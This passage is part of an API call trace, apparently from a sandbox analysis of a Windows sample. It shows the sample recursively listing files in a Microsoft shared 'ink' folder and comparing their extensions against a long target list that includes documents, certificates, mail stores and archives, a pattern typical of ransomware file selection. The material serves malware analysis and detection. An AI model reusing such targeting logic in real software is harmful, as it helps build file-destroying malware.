	[0167.857] lstrlenW (lpString=".mft") returned 4
	[0167.857] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0167.857] lstrlenW (lpString=".mfw") returned 4
	[0167.857] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0167.857] lstrlenW (lpString=".mht") returned 4
	[0167.857] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0167.858] lstrlenW (lpString=".mhtml") returned 6
	[0167.858] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1
	[0167.858] lstrlenW (lpString=".mka") returned 4
	[0167.858] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0167.858] lstrlenW (lpString=".mkidx") returned 6
	[0167.858] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1
	[0167.858] lstrlenW (lpString=".mkv") returned 4
	[0167.858] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0167.858] lstrlenW (lpString=".mos") returned 4
	[0167.858] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0167.858] lstrlenW (lpString=".mov") returned 4
	[0167.858] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0167.858] lstrlenW (lpString=".mp3") returned 4
	[0167.858] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0167.858] lstrlenW (lpString=".mp4") returned 4
	[0167.858] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0167.858] lstrlenW (lpString=".mpeg") returned 5
	[0167.858] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1
	[0167.858] lstrlenW (lpString=".mpg") returned 4
	[0167.858] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0167.858] lstrlenW (lpString=".mpv") returned 4
	[0167.858] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0167.858] lstrlenW (lpString=".mrw") returned 4
	[0167.858] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0167.858] lstrlenW (lpString=".msg") returned 4
	[0167.858] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0167.858] lstrlenW (lpString=".mxl") returned 4
	[0167.858] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0167.858] lstrlenW (lpString=".myd") returned 4
	[0167.858] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0167.858] lstrlenW (lpString=".myi") returned 4
	[0167.858] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0167.858] lstrlenW (lpString=".nef") returned 4
	[0167.858] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0167.859] lstrlenW (lpString=".nrw") returned 4
	[0167.859] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0167.859] lstrlenW (lpString=".obj") returned 4
	[0167.859] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0167.859] lstrlenW (lpString=".odb") returned 4
	[0167.859] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0167.859] lstrlenW (lpString=".odc") returned 4
	[0167.859] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0167.859] lstrlenW (lpString=".odm") returned 4
	[0167.859] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0167.859] lstrlenW (lpString=".odp") returned 4
	[0167.859] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0167.859] lstrlenW (lpString=".ods") returned 4
	[0167.859] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0167.859] lstrlenW (lpString=".oft") returned 4
	[0167.859] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0167.859] lstrlenW (lpString=".one") returned 4
	[0167.859] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0167.859] lstrlenW (lpString=".onepkg") returned 7
	[0167.859] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1
	[0167.859] lstrlenW (lpString=".onetoc2") returned 8
	[0167.859] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1
	[0167.859] lstrlenW (lpString=".opt") returned 4
	[0167.859] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0167.859] lstrlenW (lpString=".oqy") returned 4
	[0167.859] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0167.859] lstrlenW (lpString=".orf") returned 4
	[0167.859] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0167.859] lstrlenW (lpString=".p12") returned 4
	[0167.859] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0167.859] lstrlenW (lpString=".p7b") returned 4
	[0167.859] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".p7c") returned 4
	[0167.860] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".pam") returned 4
	[0167.860] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".pbm") returned 4
	[0167.860] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".pct") returned 4
	[0167.860] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".pcx") returned 4
	[0167.860] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".pdd") returned 4
	[0167.860] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".pdf") returned 4
	[0167.860] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".pdp") returned 4
	[0167.860] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".pef") returned 4
	[0167.860] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".pem") returned 4
	[0167.860] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".pff") returned 4
	[0167.860] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".pfm") returned 4
	[0167.860] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".pfx") returned 4
	[0167.860] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".pgm") returned 4
	[0167.860] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".php") returned 4
	[0167.860] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0167.860] lstrlenW (lpString=".php3") returned 5
	[0167.860] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1
	[0167.860] lstrlenW (lpString=".php4") returned 5
	[0167.861] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1
	[0167.861] lstrlenW (lpString=".php5") returned 5
	[0167.861] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1
	[0167.861] lstrlenW (lpString=".phtml") returned 6
	[0167.861] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1
	[0167.861] lstrlenW (lpString=".pict") returned 5
	[0167.861] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1
	[0167.861] lstrlenW (lpString=".pl") returned 3
	[0167.861] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0167.861] lstrlenW (lpString=".pls") returned 4
	[0167.861] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0167.861] lstrlenW (lpString=".pm") returned 3
	[0167.861] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0167.861] lstrlenW (lpString=".png") returned 4
	[0167.861] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0167.861] lstrlenW (lpString=".pnm") returned 4
	[0167.861] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0167.861] lstrlenW (lpString=".pot") returned 4
	[0167.861] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0167.861] lstrlenW (lpString=".potm") returned 5
	[0167.861] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1
	[0167.861] lstrlenW (lpString=".potx") returned 5
	[0167.861] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1
	[0167.861] lstrlenW (lpString=".ppa") returned 4
	[0167.861] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0167.861] lstrlenW (lpString=".ppam") returned 5
	[0167.861] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1
	[0167.861] lstrlenW (lpString=".ppm") returned 4
	[0167.861] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0167.861] lstrlenW (lpString=".pps") returned 4
	[0167.861] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0167.861] lstrlenW (lpString=".ppsm") returned 5
	[0167.861] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1
	[0167.862] lstrlenW (lpString=".ppt") returned 4
	[0167.862] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.862] lstrlenW (lpString=".pptm") returned 5
	[0167.862] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1
	[0167.862] lstrlenW (lpString=".pptx") returned 5
	[0167.862] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1
	[0167.862] lstrlenW (lpString=".prn") returned 4
	[0167.862] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0167.862] lstrlenW (lpString=".ps") returned 3
	[0167.862] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0167.862] lstrlenW (lpString=".psb") returned 4
	[0167.862] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0167.862] lstrlenW (lpString=".psd") returned 4
	[0167.862] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0167.862] lstrlenW (lpString=".pst") returned 4
	[0167.862] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0167.862] lstrlenW (lpString=".ptx") returned 4
	[0167.862] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0167.862] lstrlenW (lpString=".pub") returned 4
	[0167.862] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0167.862] lstrlenW (lpString=".pwm") returned 4
	[0167.862] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0167.862] lstrlenW (lpString=".pxr") returned 4
	[0167.862] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0167.862] lstrlenW (lpString=".py") returned 3
	[0167.862] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0167.862] lstrlenW (lpString=".qt") returned 3
	[0167.862] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0167.862] lstrlenW (lpString=".r3d") returned 4
	[0167.862] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0167.862] lstrlenW (lpString=".raf") returned 4
	[0167.862] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0167.862] lstrlenW (lpString=".rar") returned 4
	[0167.863] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.863] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0167.863] FindClose (in: hFindFile=0x6ac718 | out: hFindFile=0x6ac718) returned 1
	[0167.863] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0167.863] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0167.863] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4467000
	[0167.863] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName=".", cAlternateFileName="")) returned 0x6ac718
	[0167.863] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="..", cAlternateFileName="")) returned 1
	[0167.863] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0167.863] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0167.864] FindClose (in: hFindFile=0x6ac718 | out: hFindFile=0x6ac718) returned 1
	[0167.864] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0167.864] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0167.864] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4467000
	[0167.864] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName=".", cAlternateFileName="")) returned 0x6ac718
	[0167.864] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="..", cAlternateFileName="")) returned 1
	[0167.864] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0167.864] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0167.864] FindClose (in: hFindFile=0x6ac718 | out: hFindFile=0x6ac718) returned 1
	[0167.864] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0167.864] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0167.864] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4467000
	[0167.865] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0168.022] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="..", cAlternateFileName="")) returned 1
	[0168.022] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0168.022] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.022] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1
	[0168.028] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.028] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0168.028] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.028] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1
	[0168.030] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.030] FindNextFileW (in: hFindFile=0x6abcd8, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="auxpad.xml", cAlternateFileName="")) returned 1
	[0168.031] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.031] FindNextFileW (in: hFindFile=0x6abcd8, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="insert.xml", cAlternateFileName="")) returned 1
	[0168.032] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.032] FindNextFileW (in: hFindFile=0x6abcd8, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="keypad.xml", cAlternateFileName="")) returned 1
	[0168.034] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.035] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.035] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.035] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.036] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.036] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.037] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0168.037] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.037] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.037] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.037] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.038] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.039] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x666e20, Size=0x4000) returned 0x44378b8
	[0168.040] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.041] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.041] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.042] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.042] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.043] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.043] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0168.044] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
